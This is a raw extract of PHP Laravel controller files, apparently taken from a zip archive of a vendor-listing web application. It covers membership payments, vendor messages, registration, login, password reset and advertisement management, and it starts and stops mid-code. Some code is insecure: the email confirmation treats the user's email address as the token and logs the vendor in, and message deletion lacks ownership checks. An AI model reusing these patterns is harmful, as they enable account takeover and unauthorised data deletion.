$success_url, $cancel_url, $title, $bs); } elseif ($request->payment_method == 'Mollie') { $available_currency = array('AED', 'AUD', 'BGN', 'BRL', 'CAD', 'CHF', 'CZK', 'DKK', 'EUR', 'GBP', 'HKD', 'HRK', 'HUF', 'ILS', 'ISK', 'JPY', 'MXN', 'MYR', 'NOK', 'NZD', 'PHP', 'PLN', 'RON', 'RUB', 'SEK', 'SGD', 'THB', 'TWD', 'USD', 'ZAR'); if (!in_array($bs->base_currency_text, $available_currency)) { session()->flash('warning', $bs->base_currency_text . " is not allowed for Mollie"); return back()->withInput($request->all()); } $amount = $request->price; $success_url = route('membership.mollie.success'); $cancel_url = route('membership.mollie.cancel'); $molliePayment = new MollieController(); return $molliePayment->paymentProcess($request, $amount, $success_url, $cancel_url, $title, $bs); } elseif (in_array($request->payment_method, $offline_payment_gateways)) { $request['status'] = "0"; $rules = []; $is_receipt = OfflineGateway::Where('name',$request->payment_method)->first(); // Check if receipt is required if ($is_receipt->has_attachment == 1) { $rules['receipt'] = 'required|mimes:jpeg,jpg,png'; } $customMessages = [ 'receipt.required' => 'The receipt field is required.', 'receipt.mimes' => 'The receipt must be a file of type: jpeg, jpg, png.', ]; $validator = Validator::make($request->all(), $rules, $customMessages); if ($validator->fails()) { $errorMessage = ''; foreach ($validator->errors()->all() as $error) { $errorMessage .= $error ; break; } Session::flash('warning', $errorMessage); return redirect()->back()->withErrors($validator)->withInput(); } if ($request->hasFile('receipt')) { $filename = time() . '.' . $request->file('receipt')->getClientOriginalExtension(); $directory = public_path('assets/front/img/membership/receipt'); @mkdir($directory, 0777, true); $request->file('receipt')->move($directory, $filename); $request['receipt_name'] = $filename; } $amount = $request->price; $transaction_id = \App\Http\Helpers\VendorPermissionHelper::uniqidReal(8); $transaction_details = "offline"; $password = uniqid('qrcode'); $this->store($request, $transaction_id, json_encode($transaction_details), $amount, $bs, $password); return view('vendors.offline-success'); } } catch (\Exception $e) { Session::flash('warning', 'Something went wrong'); } } public function store($request, $transaction_id, $transaction_details, $amount, $be, $password) { $abs = Basic::first(); Config::set('app.timezone', $abs->timezone); $vendor = Vendor::query()->find($request['vendor_id']); $previousMembership = Membership::query() ->select('id', 'package_id', 'is_trial') ->where([ ['vendor_id', $vendor->id], ['start_date', '<=', Carbon::now()->toDateString()], ['expire_date', '>=', Carbon::now()->toDateString()] ]) ->where('status', 1) ->orderBy('created_at', 'DESC') ->first(); if (!is_null($previousMembership)) { $previousPackage = Package::query() ->select('term') ->where('id', $previousMembership->package_id) ->first(); if (($previousPackage->term === 'lifetime' || $previousMembership->is_trial == 1) && $transaction_details != '"offline"') { $membership = Membership::find($previousMembership->id); $membership->expire_date = Carbon::parse($request['start_date']); $membership->save(); } } if ($vendor) { $membership = Membership::create([ 'price' => $request['price'], 'currency' => $abs->base_currency_text, 'currency_symbol' => $abs->base_currency_symbol, 'payment_method' => $request["payment_method"], 'transaction_id' => $transaction_id, 'status' => $transaction_details != '"offline"' ? $request["status"] : 0, 'receipt' => $request["receipt_name"], 'transaction_details' => $transaction_details, 'settings' => json_encode($abs), 'package_id' => $request['package_id'], 'vendor_id' => $vendor->id, 'start_date' => Carbon::parse($request['start_date']), 'expire_date' => Carbon::parse($request['expire_date']), 'is_trial' => 0, 'trial_days' => 0, ]); } return $vendor; } //onlineSuccess public function onlineSuccess() { return view('vendors.success'); } public function paymentInstruction(Request $request) { $offline = OfflineGateway::where('name', $request->name) ->select('short_description', 'instructions', 'has_attachment') ->first(); return response()->json([ 'description' => $offline->short_description, 'instructions' => $offline->instructions, 'has_attachment' => $offline->has_attachment ]); } } PK(\'jc -Http/Controllers/Vendor/MessageController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $vendor_id = Auth::guard('vendor')->user()->id; $permissions = listingMessagePermission($vendor_id); if ($permissions) { $information['messages'] = ListingMessage::where('vendor_id', Auth::guard('vendor')->user()->id) ->orderBy('id', 'desc') ->paginate(10); return view('vendors.message.listing', $information); } else { Session::flash('warning', "Your Listing message Permission is not granted."); return redirect()->route('vendor.dashboard'); } } public function delete(Request $request) { $message = ListingMessage::findOrFail($request->message_id); $message->delete(); Session::flash('success', 'Message deleted successfully!'); return redirect()->back(); } public function bulkDelete(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $message = ListingMessage::findOrFail($id); $message->delete(); } Session::flash('success', 'Message deleted successfully!'); return response()->json(['status' => 'success'], 200); } public function productIndex(Request $request) { $information['langs'] = Language::all(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $vendor_id = Auth::guard('vendor')->user()->id; $permissions = productMessagePermission($vendor_id); if ($permissions) { $information['messages'] = ProductMessage::where('vendor_id', Auth::guard('vendor')->user()->id) ->orderBy('id', 'desc') ->paginate(10); return view('vendors.message.product', $information); } else { Session::flash('warning', "Your Product message Permission is not granted."); return redirect()->route('vendor.dashboard'); } } public function productDelete(Request $request) { $message = ProductMessage::findOrFail($request->message_id); $message->delete(); Session::flash('success', 'Message deleted successfully!'); return redirect()->back(); } public function productBulkDelete(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $message = ProductMessage::findOrFail($id); $message->delete(); } Session::flash('success', 'Message deleted successfully!'); return response()->json(['status' => 'success'], 200); } } PK(\Att,Http/Controllers/Vendor/VendorController.phpnu[check()) { return redirect()->route('vendor.dashboard'); } else { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keywords_vendor_signup', 'meta_description_vendor_signup')->first(); $information['pageHeading'] = $misc->getPageHeading($language); $information['recaptchaInfo'] = Basic::select('google_recaptcha_status')->first(); $information['bgImg'] = $misc->getBreadcrumb(); return view('frontend.vendor.auth.register', $information); } } //create public function create(Request $request) { $admin = Admin::select('username')->first(); $admin_username = $admin->username; $rules = [ 'username' => "required|unique:vendors|not_in:$admin_username", 'email' => 'required|email|unique:vendors', 'password' => 'required|confirmed|min:6', ]; $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $messages = []; if ($info->google_recaptcha_status == 1) { $messages['g-recaptcha-response.required'] = 'Please verify that you are not a robot.'; $messages['g-recaptcha-response.captcha'] = 'Captcha error! try again later or contact site admin.'; } $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->username == 'admin') { Session::flash('username_error', 'You can not use admin as a username!'); return redirect()->back(); } $in = $request->all(); $setting = DB::table('basic_settings')->where('uniqid', 12345)->select('vendor_email_verification', 'vendor_admin_approval')->first(); if ($setting->vendor_email_verification == 1) { // first, get the mail template information from db $mailTemplate = MailTemplate::where('mail_type', 'verify_email')->first(); $mailSubject = $mailTemplate->mail_subject; $mailBody = $mailTemplate->mail_body; // second, send a password reset link to user via email $info = DB::table('basic_settings') ->select('website_title', 'smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name') ->first(); $token = $request->email; $link = 'Click Here'; $mailBody = str_replace('{username}', $request->username, $mailBody); $mailBody = str_replace('{verification_link}', $link, $mailBody); $mailBody = str_replace('{website_title}', $info->website_title, $mailBody); $data = [ 'subject' => $mailSubject, 'to' => $request->email, 'body' => $mailBody, ]; // if smtp status == 1, then set some value for PHPMailer if ($info->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $info->smtp_host, 'port' => $info->smtp_port, 'encryption' => $info->encryption, 'username' => $info->smtp_username, 'password' => $info->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } // finally add other informations and send the mail try { if ($info->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $info) { $fromMail = $info->from_mail; $fromName = $info->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'A verification mail has been sent to your email address'); } catch (\Exception $e) { Session::flash('message', 'Mail could not be sent!'); Session::flash('alert-type', 'error'); return redirect()->back(); } } else { $in['email_verified_at'] = now(); } $in['status'] = 0; } else { $in['email_verified_at'] = now(); Session::flash('success', 'Sign up successfully completed.Please Login Now'); } if ($setting->vendor_admin_approval == 1) { $in['status'] = 0; } if ($setting->vendor_admin_approval == 0 && $setting->vendor_email_verification == 0) { $in['status'] = 1; } $in['password'] = Hash::make($request->password); $vendor = Vendor::create($in); $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $in['language_id'] = $language->id; $in['vendor_id'] = $vendor->id; VendorInfo::create($in); return redirect()->route('vendor.login'); } //login public function login(Request $request) { if (Auth::guard('vendor')->check()) { return redirect()->route('vendor.dashboard'); } else { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keywords_vendor_login', 'meta_description_vendor_login')->first(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $information['bs'] = Basic::query()->select('google_recaptcha_status', 'facebook_login_status', 'google_login_status')->first(); if ($request->redirectPath == 'buy_plan') { Session::put('redirectTo', 'buy_plan'); } if ($request->package) { Session::put('package', $request->package); } return view('frontend.vendor.auth.login', $information); } } //authenticate public function authentication(Request $request) { if ($request->session()->has('redirectTo')) { $redirectURL = $request->session()->get('redirectTo'); } else { $redirectURL = null; } if ($request->session()->has('package')) { $packageIds = $request->session()->get('package'); } else { $packageIds = null; } $rules = [ 'username' => 'required', 'password' => 'required' ]; $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $messages = []; if ($info->google_recaptcha_status == 1) { $messages['g-recaptcha-response.required'] = 'Please verify that you are not a robot.'; $messages['g-recaptcha-response.captcha'] = 'Captcha error! try again later or contact site admin.'; } $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if (Auth::guard('vendor')->attempt([ 'username' => $request->username, 'password' => $request->password ])) { $authAdmin = Auth::guard('vendor')->user(); $setting = DB::table('basic_settings')->where('uniqid', 12345)->select('vendor_email_verification', 'vendor_admin_approval')->first(); // check whether the vendor's account is active or not if ($setting->vendor_email_verification == 1 && $authAdmin->email_verified_at == NULL) { Session::flash('error', 'Please verify your email address'); // logout auth vendor as condition not satisfied Auth::guard('vendor')->logout(); return redirect()->back(); } elseif ($setting->vendor_email_verification == 0 && $setting->vendor_admin_approval == 1) { Session::put('secret_login', 0); if ($redirectURL == 'buy_plan') { if ($packageIds) { $request->session()->forget('redirectTo'); $request->session()->forget('package'); return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $packageIds]); } else { $request->session()->forget('redirectTo'); $request->session()->forget('package'); return redirect()->route('vendor.plan.extend.index'); } } else { $request->session()->forget('redirectTo'); $request->session()->forget('package'); return redirect()->route('vendor.dashboard'); } } else { Session::put('secret_login', 0); if ($redirectURL == 'buy_plan') { if ($packageIds) { $request->session()->forget('redirectTo'); $request->session()->forget('package'); return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $packageIds]); } else { $request->session()->forget('redirectTo'); $request->session()->forget('package'); return redirect()->route('vendor.plan.extend.index'); } } else { $request->session()->forget('redirectTo'); $request->session()->forget('package'); return redirect()->route('vendor.dashboard'); } } } else { return redirect()->back()->with('error', 'Incorrect username or password'); } } //confirm_email' public function confirm_email() { $email = request()->input('token'); $user = Vendor::where('email', $email)->first(); $user->email_verified_at = now(); $setting = DB::table('basic_settings')->where('uniqid', 12345)->select('vendor_admin_approval')->first(); if ($setting->vendor_admin_approval != 1) { $user->status = 1; } $user->save(); Auth::guard('vendor')->login($user); return redirect()->route('vendor.dashboard'); } public function logout(Request $request) { Auth::guard('vendor')->logout(); Session::forget('secret_login'); return redirect()->route('vendor.login'); } public function dashboard() { $vendor_id = Auth::guard('vendor')->user()->id; $information['totalListings'] = Listing::query()->where('vendor_id', $vendor_id)->count(); $information['admin_setting'] = DB::table('basic_settings')->where('uniqid', 12345)->select('vendor_admin_approval', 'admin_approval_notice')->first(); $support_status = DB::table('support_ticket_statuses')->first(); if ($support_status->support_ticket_status == 'active') { $total_support_tickets = SupportTicket::where([['user_id', Auth::guard('vendor')->user()->id], ['user_type', 'vendor']])->get()->count(); $information['total_support_tickets'] = $total_support_tickets; } $information['support_status'] = $support_status; $information['admin_setting'] = DB::table('basic_settings')->where('uniqid', 12345)->select('vendor_admin_approval', 'admin_approval_notice')->first(); //total car posts $totalCars = DB::table('listings') ->select(DB::raw('month(created_at) as month'), DB::raw('count(id) as total')) ->groupBy('month') ->where('vendor_id', $vendor_id) ->whereYear('created_at', '=', date('Y')) ->get(); //total car visitors $totalVisitors = DB::table('visitors') ->select(DB::raw('month(date) as month'), DB::raw('count(id) as total')) ->groupBy('month') ->where('vendor_id', $vendor_id) ->whereYear('date', '=', date('Y')) ->get(); $months = []; $totalCarArr = []; $totalVisitorArr = []; //event icome calculation for ($i = 1; $i <= 12; $i++) { // get all 12 months name $monthNum = $i; $dateObj = DateTime::createFromFormat('!m', $monthNum); $monthName = $dateObj->format('M'); array_push($months, $monthName); // get all 12 months's car posts $carFound = false; foreach ($totalCars as $totalCar) { if ($totalCar->month == $i) { $carFound = true; array_push($totalCarArr, $totalCar->total); break; } } if ($carFound == false) { array_push($totalCarArr, 0); } // get all 12 months's visitors $visitorFound = false; foreach ($totalVisitors as $totalVisitor) { if ($totalVisitor->month == $i) { $visitorFound = true; array_push($totalVisitorArr, $totalVisitor->total); break; } } if ($visitorFound == false) { array_push($totalVisitorArr, 0); } } $payment_logs = Membership::where('vendor_id', $vendor_id)->get()->count(); //package start $nextPackageCount = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['expire_date', '>=', Carbon::now()->toDateString()] ])->whereYear('start_date', '<>', '9999')->where('status', '<>', 2)->count(); //current package $information['current_membership'] = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['start_date', '<=', Carbon::now()->toDateString()], ['expire_date', '>=', Carbon::now()->toDateString()] ])->where('status', 1)->whereYear('start_date', '<>', '9999')->first(); if ($information['current_membership'] != null) { $countCurrMem = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['start_date', '<=', Carbon::now()->toDateString()], ['expire_date', '>=', Carbon::now()->toDateString()] ])->where('status', 1)->whereYear('start_date', '<>', '9999')->count(); if ($countCurrMem > 1) { $information['next_membership'] = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['start_date', '<=', Carbon::now()->toDateString()], ['expire_date', '>=', Carbon::now()->toDateString()] ])->where('status', '<>', 2)->whereYear('start_date', '<>', '9999')->orderBy('id', 'DESC')->first(); } else { $information['next_membership'] = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['start_date', '>', $information['current_membership']->expire_date] ])->whereYear('start_date', '<>', '9999')->where('status', '<>', 2)->first(); } $information['next_package'] = $information['next_membership'] ? Package::query()->where('id', $information['next_membership']->package_id)->first() : null; } else { $information['next_package'] = null; } $information['current_package'] = $information['current_membership'] ? Package::query()->where('id', $information['current_membership']->package_id)->first() : null; $information['package_count'] = $nextPackageCount; //package start end $information['monthArr'] = $months; $information['totalCarsArr'] = $totalCarArr; $information['visitorArr'] = $totalVisitorArr; $information['payment_logs'] = $payment_logs; return view('vendors.index', $information); } //change_password public function change_password() { return view('frontend.vendor.auth.change-password'); } //update_password public function updated_password(Request $request) { $rules = [ 'current_password' => [ 'required', new MatchOldPasswordRule('vendor') ], 'new_password' => 'required|confirmed', 'new_password_confirmation' => 'required' ]; $messages = [ 'new_password.confirmed' => 'Password confirmation does not match.', 'new_password_confirmation.required' => 'The confirm new password field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $vendor = Auth::guard('vendor')->user(); $vendor->update([ 'password' => Hash::make($request->new_password) ]); Session::flash('success', 'Password updated successfully!'); return response()->json(['status' => 'success'], 200); } //edit_profile public function edit_profile() { $information = []; $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['language'] = $language; $information['languages'] = Language::get(); $vendor_id = Auth::guard('vendor')->user()->id; $information['vendor'] = Vendor::with('vendor_info')->where('id', $vendor_id)->first(); return view('frontend.vendor.auth.edit-profile', $information); } //update_profile public function update_profile(Request $request, Vendor $vendor) { $id = Auth::guard('vendor')->user()->id; $admin = Admin::select('username')->first(); $admin_username = $admin->username; $rules = [ 'username' => [ 'required', Rule::unique('vendors', 'username')->ignore($id), Rule::notIn([$admin_username]), ], 'email' => [ 'required', 'email', Rule::unique('vendors', 'email')->ignore($id) ] ]; if ($request->hasFile('photo')) { $rules['photo'] = 'mimes:png,jpeg,jpg|dimensions:min_width=80,max_width=80,min_width=80,min_height=80'; } $languages = Language::get(); foreach ($languages as $language) { $rules[$language->code . '_name'] = 'required'; } $messages = []; foreach ($languages as $language) { $messages[$language->code . '_name.required'] = "The Name field is required for {$language->name} Language"; } $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $in = $request->all(); $vendor = Vendor::where('id', $id)->first(); $file = $request->file('photo'); if ($file) { $extension = $file->getClientOriginalExtension(); $directory = public_path('assets/admin/img/vendor-photo/'); $fileName = uniqid() . '.' . $extension; @mkdir($directory, 0775, true); $file->move($directory, $fileName); @unlink(public_path('assets/admin/img/vendor-photo/') . $vendor->photo); $in['photo'] = $fileName; } if ($request->show_email_addresss) { $in['show_email_addresss'] = 1; } else { $in['show_email_addresss'] = 0; } if ($request->show_phone_number) { $in['show_phone_number'] = 1; } else { $in['show_phone_number'] = 0; } if ($request->show_contact_form) { $in['show_contact_form'] = 1; } else { $in['show_contact_form'] = 0; } $vendor->update($in); $languages = Language::get(); $vendor_id = $vendor->id; foreach ($languages as $language) { $vendorInfo = VendorInfo::where('vendor_id', $vendor_id)->where('language_id', $language->id)->first(); if ($vendorInfo == NULL) { $vendorInfo = new VendorInfo(); } $vendorInfo->language_id = $language->id; $vendorInfo->vendor_id = $vendor_id; $vendorInfo->name = $request[$language->code . '_name']; $vendorInfo->country = $request[$language->code . '_country']; $vendorInfo->city = $request[$language->code . '_city']; $vendorInfo->state = $request[$language->code . '_state']; $vendorInfo->zip_code = $request[$language->code . '_zip_code']; $vendorInfo->address = $request[$language->code . '_address']; $vendorInfo->details = $request[$language->code . '_details']; $vendorInfo->save(); } Session::flash('success', 'Profile updated successfully!'); return Response::json(['status' => 'success'], 200); } public function changeTheme(Request $request) { Session::put('vendor_theme_version', $request->vendor_theme_version); return redirect()->back(); } //forget_passord public function forget_passord() { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keywords_vendor_forget_password', 'meta_descriptions_vendor_forget_password')->first(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $information['bs'] = Basic::query()->select('google_recaptcha_status', 'facebook_login_status', 'google_login_status')->first(); return view('frontend.vendor.auth.forget-password', $information); } //forget_mail public function forget_mail(Request $request) { $rules = [ 'email' => [ 'required', 'email:rfc,dns', new MatchEmailRule('vendor') ] ]; $messages = []; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator)->withInput(); } $user = Vendor::where('email', $request->email)->first(); // first, get the mail template information from db $mailTemplate = MailTemplate::where('mail_type', 'reset_password')->first(); $mailSubject = $mailTemplate->mail_subject; $mailBody = $mailTemplate->mail_body; // second, send a password reset link to user via email $info = DB::table('basic_settings') ->select('website_title', 'smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name') ->first(); $name = $user->username; $token = Str::random(32); DB::table('password_resets')->insert([ 'email' => $user->email, 'token' => $token, ]); $link = 'Click Here'; $mailBody = str_replace('{customer_name}', $name, $mailBody); $mailBody = str_replace('{password_reset_link}', $link, $mailBody); $mailBody = str_replace('{website_title}', $info->website_title, $mailBody); $data = [ 'to' => $request->email, 'subject' => $mailSubject, 'body' => $mailBody, ]; // if smtp status == 1, then set some value for PHPMailer if ($info->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $info->smtp_host, 'port' => $info->smtp_port, 'encryption' => $info->encryption, 'username' => $info->smtp_username, 'password' => $info->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } // finally add other informations and send the mail try { if ($info->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $info) { $fromMail = $info->from_mail; $fromName = $info->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'A mail has been sent to your email address'); } catch (\Exception $e) { Session::flash('error', 'Mail could not be sent!'); } // store user email in session to use it later $request->session()->put('userEmail', $user->email); return redirect()->back(); } //reset_password public function reset_password() { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keywords_vendor_forget_password', 'meta_descriptions_vendor_forget_password')->first(); $information['bgImg'] = $misc->getBreadcrumb(); return view('frontend.vendor.auth.reset-password', $information); } //update_password public function update_password(Request $request) { $rules = [ 'new_password' => 'required|confirmed', 'new_password_confirmation' => 'required' ]; $messages = [ 'new_password.confirmed' => 'Password confirmation failed.', 'new_password_confirmation.required' => 'The confirm new password field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator); } $reset = DB::table('password_resets')->where('token', $request->token)->first(); $email = $reset->email; $vendor = Vendor::where('email', $email)->first(); $vendor->update([ 'password' => Hash::make($request->new_password) ]); DB::table('password_resets')->where('token', $request->token)->delete(); Session::flash('success', 'Reset Your Password Successfully Completed.Please Login Now'); return redirect()->route('vendor.login'); } public function payment_log(Request $request) { $search = $request->search; $data['memberships'] = Membership::query()->when($search, function ($query, $search) { return $query->where('transaction_id', 'like', '%' . $search . '%'); }) ->where('vendor_id', Auth::guard('vendor')->user()->id) ->orderBy('id', 'DESC') ->paginate(10); return view('vendors.payment_log', $data); } } PK(\p-Http/Controllers/Vendor/BuyPlanController.phpnu[timezone); if (session()->has('lang')) { $currentLang = Language::where('code', session()->get('lang'))->first(); } else { $currentLang = Language::where('is_default', 1)->first(); } $data['bex'] = $currentLang->basic_extended; $data['packages'] = Package::where('status', '1')->get(); $nextPackageCount = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['expire_date', '>=', Carbon::now()->toDateString()] ])->whereYear('start_date', '<>', '9999')->where('status', '<>', 2)->count(); //current package $data['current_membership'] = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['start_date', '<=', Carbon::now()->toDateString()], ['expire_date', '>=', Carbon::now()->toDateString()] ])->where('status', 1)->whereYear('start_date', '<>', '9999')->first(); if ($data['current_membership'] != null) { $countCurrMem = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['start_date', '<=', Carbon::now()->toDateString()], ['expire_date', '>=', Carbon::now()->toDateString()] ])->where('status', 1)->whereYear('start_date', '<>', '9999')->count(); if ($countCurrMem > 1) { $data['next_membership'] = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['start_date', '<=', Carbon::now()->toDateString()], ['expire_date', '>=', Carbon::now()->toDateString()] ])->where('status', '<>', 2)->whereYear('start_date', '<>', '9999')->orderBy('id', 'DESC')->first(); } else { $data['next_membership'] = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['start_date', '>', $data['current_membership']->expire_date] ])->whereYear('start_date', '<>', '9999')->where('status', '<>', 2)->first(); } $data['next_package'] = $data['next_membership'] ? Package::query()->where('id', $data['next_membership']->package_id)->first() : null; } else { $data['next_package'] = null; } $data['current_package'] = $data['current_membership'] ? Package::query()->where('id', $data['current_membership']->package_id)->first() : null; $data['package_count'] = $nextPackageCount; return view('vendors.buy_plan.index', $data); } public function checkout($package_id) { $packageCount = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['expire_date', '>=', Carbon::now()->toDateString()] ])->whereYear('start_date', '<>', '9999')->where('status', '<>', 2)->count(); $hasPendingMemb = VendorPermissionHelper::hasPendingMembership(Auth::guard('vendor')->user()->id); if ($hasPendingMemb) { Session::flash('warning', 'You already have a Pending Membership Request.'); return back(); } if ($packageCount >= 2) { Session::flash('warning', 'You have another package to activate after the current package expires. You cannot purchase / extend any package, until the next package is activated'); return back(); } if (session()->has('lang')) { $currentLang = Language::where('code', session() ->get('lang')) ->first(); } else { $currentLang = Language::where('is_default', 1) ->first(); } $be = $currentLang->basic_extended; $online = OnlineGateway::query()->where('status', 1)->get(); $offline = OfflineGateway::where('status', 1)->orderBy('serial_number', 'asc')->get(); $data['offline'] = $offline; $data['payment_methods'] = $online->merge($offline); $data['package'] = Package::query()->findOrFail($package_id); $data['membership'] = Membership::query()->where([ ['vendor_id', Auth::guard('vendor')->user()->id], ['expire_date', '>=', \Carbon\Carbon::now()->format('Y-m-d')] ])->where('status', '<>', 2)->whereYear('start_date', '<>', '9999') ->latest() ->first(); $data['previousPackage'] = null; if (!is_null($data['membership'])) { $data['previousPackage'] = Package::query() ->where('id', $data['membership']->package_id) ->first(); } $data['bex'] = $be; $stripe = OnlineGateway::where('keyword', 'stripe')->first(); $stripe_info = json_decode($stripe->information, true); $data['stripe_key'] = $stripe_info['key']; return view('vendors.buy_plan.checkout', $data); } } PK(\X r!!2Http/Controllers/Admin/AdvertisementController.phpnu[select('google_adsense_publisher_id')->first(); return view('admin.advertisement.settings', ['data' => $data]); } public function updateAdvertiseSettings(Request $request) { $rule = [ 'google_adsense_publisher_id' => 'required' ]; $validator = Validator::make($request->all(), $rule); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['google_adsense_publisher_id' => $request->google_adsense_publisher_id] ); Session::flash('success', 'Advertise settings updated successfully!'); return redirect()->back(); } public function index() { $ads = Advertisement::orderBy('id', 'desc')->get(); return view('admin.advertisement.index', compact('ads')); } public function store(StoreRequest $request) { if ($request->hasFile('image')) { $imageName = UploadFile::store(public_path('assets/img/advertisements/'), $request->file('image')); } Advertisement::create($request->except('image') + [ 'image' => $request->hasFile('image') ? $imageName : null ]); Session::flash('success', 'New advertisement added successfully!'); return response()->json(['status' => 'success'], 200); } public function update(UpdateRequest $request) { $ad = Advertisement::findOrFail($request->id); if ($request->hasFile('image')) { $imageName = UploadFile::update(public_path('assets/img/advertisements/'), $request->file('image'), $ad->image); } if ($request->ad_type == 'adsense') { // if ad type change to google adsense then delete the image from local storage. @unlink(public_path('assets/img/advertisements/') . $ad->image); } $ad->update($request->except('image') + [ 'image' => $request->hasFile('image') ? $imageName : $ad->image ]); Session::flash('success', 'Advertisement updated successfully!'); return response()->json(['status' => 'success'], 200); } public function destroy($id) { $ad = Advertisement::findOrFail($id); if ($ad->ad_type == 'banner') { @unlink(public_path('assets/img/advertisements/') . $ad->image); } $ad->delete(); return redirect()->back()->with('success', 'Advertisement deleted successfully!'); } public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $ad = Advertisement::findOrFail($id); if ($ad->ad_type == 'banner') { @unlink(public_path('assets/img/advertisements/') . $ad->image); } $ad->delete(); } Session::flash('success', 'Advertisements deleted successfully!'); return response()->json(['status' => 'success'], 200); } } PK(\W,Http/Controllers/Admin/PackageController.phpnu[ 'required|numeric' ]; $messages = [ 'expiration_reminder.required' => 'The day number is required.', 'expiration_reminder.numeric' => 'The day number must be a number.', ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $be = Basic::first(); $be->expiration_reminder = $request->expiration_reminder; $be->save(); Session::flash('success', 'Settings updated successfully!'); return back(); } /** * Display a listing of the resource. * * */ public function index(Request $request) { if (session()->has('lang')) { $currentLang = Language::where('code', session()->get('lang'))->first(); } else { $currentLang = Language::where('is_default', 1)->first(); } $search = $request->search; $data['bex'] = $currentLang->basic_extended; $data['packages'] = Package::query()->when($search, function ($query, $search) { return $query->where('title', 'like', '%' . $search . '%'); })->orderBy('created_at', 'DESC')->get(); return view('admin.packages.index', $data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * */ public function store(PackageStoreRequest $request) { try { $features = json_encode($request->features); $in = $request->all(); $in['features'] = $features; $in['slug'] = createSlug($request->title); $in['custom_features'] = Purifier::clean($request->custom_features); Package::create($in); Session::flash('success', "Package Created Successfully"); return Response::json(['status' => 'success'], 200); } catch (\Throwable $e) { return $e; } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return */ public function edit($id) { if (session()->has('lang')) { $currentLang = Language::where('code', session()->get('lang'))->first(); } else { $currentLang = Language::where('is_default', 1)->first(); } $data['bex'] = $currentLang->basic_extended; $data['package'] = Package::query()->findOrFail($id); return view("admin.packages.edit", $data); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * */ public function update(PackageUpdateRequest $request) { try { $features = json_encode($request->features); return DB::transaction(function () use ($request, $features) { Package::query()->findOrFail($request->package_id) ->update($request->except('features') + [ 'slug' => createSlug($request->title), 'features' => $features, 'custom_features' => Purifier::clean($request->custom_features), ]); Session::flash('success', "Package Update Successfully"); return 